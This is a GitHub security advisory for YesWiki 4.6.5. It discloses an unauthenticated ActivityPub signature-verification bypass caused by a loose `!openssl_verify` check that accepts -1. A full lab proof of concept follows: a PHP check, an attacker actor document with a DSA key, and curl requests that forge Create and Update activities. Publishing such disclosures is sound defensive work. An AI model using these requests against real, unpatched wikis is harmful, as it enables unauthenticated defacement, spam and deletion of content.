GHSA-mv28-wj57-f57g

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GHSA-mv28-wj57-f57g

Summary: YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`

Details: ## Summary `HttpSignatureService::verifySignature()` checks the result of PHP's `openssl_verify()` with a **loose boolean negation** - `if (!openssl_verify(...)) { throw ... }`. PHP's `openssl_verify` has four possible return values: | return | meaning | `!return` | | ------ | ------------------------------------------------ | --------- | | `1` | signature is valid | `false` | | `0` | signature is invalid | `true` ✓ | | `-1` | the verify call itself failed (internal error) | **`false` ❌** | | `false`| input rejected by PHP's argument validation | `true` ✓ | The `-1` row is the bypass: PHP's truthiness rules make `-1` a truthy value, so `!(-1) === false`, the throw is skipped, and the controller proceeds to `processActivity()`. Any condition that makes OpenSSL's `EVP_VerifyFinal()` return `-1` triggers the bypass. The two practical paths to `-1` we are aware of: 1. **DSA / EC public key with an RSA-only algorithm.** `openssl_verify(..., $dsaKey, "RSA-SHA256")` returns `int(-1)` on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified `php:8.3-apache` lab and against any deployment using the runtime stack YesWiki's own docker image ships. 2. **Older PHP + older OpenSSL** where any unrecognised digest name returned `-1` rather than `false`. The reporting research mentions this path; on current stacks `false` is returned instead and the throw fires correctly. The DSA path replaces it. The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload. ## Details ### Affected component * **File:** `tools/bazar/services/HttpSignatureService.php` * **Method:** `HttpSignatureService::verifySignature(Request $request)` * **Sink:** line **130** ```php // tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD) public function verifySignature(Request $request) { ... // [Signature parse, // outbound key fetch — see the SSRF advisory] $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']); ... if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK join("\n", $sigParts), base64_decode($sigConf['signature']), $actorPublicKey, strtoupper($sigConf['algorithm']) )) { throw new Exception('Signature verification failed'); // (b) skipped when openssl_verify == -1 } if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) { throw new Exception('Digest mismatch'); // (c) still enforced — easy to satisfy } } ``` The inbox controller calls `verifySignature()` and then runs `processActivity($activity, $form)`, which is what actually mutates state. ### End-to-end attack chain A single unauthenticated POST per operation. No session, no CSRF, no real signature. 1. **Stand up an actor document** that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape: ```json { "id": "<exact URL the server will GET>", "publicKey": { "id": "<same URL>", "publicKeyPem": "<DSA public key in PEM form>" } } ``` 2. **Send a Create / Update / Delete activity** to `POST /api/forms/{enabled-form-id}/actor/inbox`: ```http POST /?api/forms/2/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Date: <RFC1123 date> Digest: SHA-256=<base64(sha256(body))> Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw==" {"@context":"https://www.w3.org/ns/activitystreams","type":"Create", "actor":"<actor URL>", "object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}} ``` 3. **YesWiki fetches the actor document** (line 96 - the SSRF; see sibling advisory), parses it, calls `openssl_get_publickey(...)` which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls `openssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256")`. EVP_VerifyFinal returns `-1`. The check `!openssl_verify(...)` evaluates to `false` and the throw is skipped. 4. **`Digest` header is enforced**, but it's a simple `SHA-256=` of the body the attacker chose, so satisfying it costs one `sha256sum`. 5. **`processActivity($activity, $form)` runs**: Create → `EntryManager::create()`, Update → `EntryManager::update()`, Delete → `EntryManager::delete()`. The triple store records the attacker's `object.id` as the source URL, which is how Update / Delete locate the entry on subsequent calls. ## PoC ### Pre Reqs * Yeswiki v4.6.5 lab image (Setup via podman) * ActivityPub enabled on the target form For the rest of this document: ```bash BASE="http://localhost:8085" CTR="yeswiki-poc" KEYID="http://127.0.0.1:9999/actors/attacker" FORM_ID=2 MARKER="DEMO_$(date +%s)" ``` PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that `openssl_verify` returns `-1`. ```bash podman exec "$CTR" php -r ' $pem = file_get_contents("/tmp/attacker_keys/dsa.pub"); $key = openssl_get_publickey($pem); $r = openssl_verify("hello", "junk", $key, "RSA-SHA256"); echo "openssl_verify returned: " . var_export($r, true) . "\n"; echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n"; ' ``` **Expected output:** ``` openssl_verify returned: -1 !openssl_verify(...) is: false ``` Verify the listener is up and serving the DSA-key actor ```bash podman exec "$CTR" cat /tmp/ssrf_listener.pid podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat= podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo ``` **Expected output:** a PID, `S` (sleeping/alive), and a JSON document beginning with `{"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ...` and a `publicKeyPem` field whose value starts with `-----BEGIN PUBLIC KEY-----\nMIIB...` (the DSA key - note the `Bv` prefix typical of DSA-key DER, not the `Ij` of RSA). Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an `Event` with `name`, `content`, `startTime`, `endTime`, `location.address.*`, etc.): ```bash ACTIVITY='{ "@context": "https://www.w3.org/ns/activitystreams", "type": "Create", "id": "http://127.0.0.1:9999/activity/c-'"$MARKER"'", "actor":"'"$KEYID"'", "object": { "id": "http://127.0.0.1:9999/objects/'"$MARKER"'", "type": "Event", "name": "'"$MARKER"' — created via the signature-verification bypass", "content": "openssl_verify returned -1; YesWiki accepted us anyway", "startTime": "2026-12-01T10:00:00Z", "endTime": "2026-12-01T12:00:00Z" } }' # Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)" DATE="$(date -uR | sed 's/+0000/GMT/')" SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="' curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \ -H "Content-Type: application/activity+json" \ -H "Date: ${DATE}" \ -H "Digest: ${DIGEST}" \ -H "Signature: ${SIG}" \ --data-raw "$ACTIVITY" \ -w '\n HTTP %{http_code}\n' ``` Now, try udating the entry via the same bypass The triple store records `<tag, sourceUrl, object.id>` from the Create. An Update activity referencing the same `object.id` will look that up and rewrite the entry's body. ```bash UPDATE_ACT='{ "@context": "https://www.w3.org/ns/activitystreams", "type": "Update", "id": "http://127.0.0.1:9999/activity/u-'"$MARKER"'", "actor":"'"$KEYID"'", "object": { "id": "http://127.0.0.1:9999/objects/'"$MARKER"'", "type": "Event", "name": "'"$MARKER"'_UPDATED — title was changed by an unauthenticated POST", "content": "this row was modified via the SAME bypass", "startTime": "2026-12-01T10:00:00Z", "endTime": "2026-12-01T12:00:00Z" } }' DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)" DATE="$(date -uR | sed 's/+0000/GMT/')" curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \ -H "Content-Type: application/activity+json" \ -H "Date: ${DATE}" \ -H "Digest: ${DIGEST}" \ -H "Signature: ${SIG}" \ --data-raw "$UPDATE_ACT" \ -w ' HTTP %{http_code}\n' ``` **Expected output:** `HTTP 200`, empty body. ## Impact CRUD on bazar entries of any ActivityPub-enabled form, **without authentication**: * **Create** - `EntryManager::create($form['bn_id_nature'], $entry, false, $object['id'])`. New row in `yeswiki_pages` and a triple `<tag, sourceUrl, $object['id']>` in `yeswiki_triples`. * **Update** - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content. * **Delete** - same lookup, then `EntryManager::delete($tag, true)`. Concrete operational impact: * **Defacement / content injection** at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host. * **Spam / SEO poisoning** through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search. * **Erasure of legitimate federated content** - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its `object.id` discovered, and then deleted by replaying the chain with `type=Delete`. * **Triple-store pollution** - the `yeswiki_triples` table grows with attacker-controlled `sourceUrl` triples that survive entry deletion and can interfere with later federation flows. * **Reputation / federation poisoning** - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.

References: https://github.com/YesWiki/yeswiki/security/advisories/GHSA-mv28-wj57-f57g, https://github.com/YesWiki/yeswiki/commit/d1795e0301e1a1078f17b4b98f56fff70de2029e, https://github.com/YesWiki/yeswiki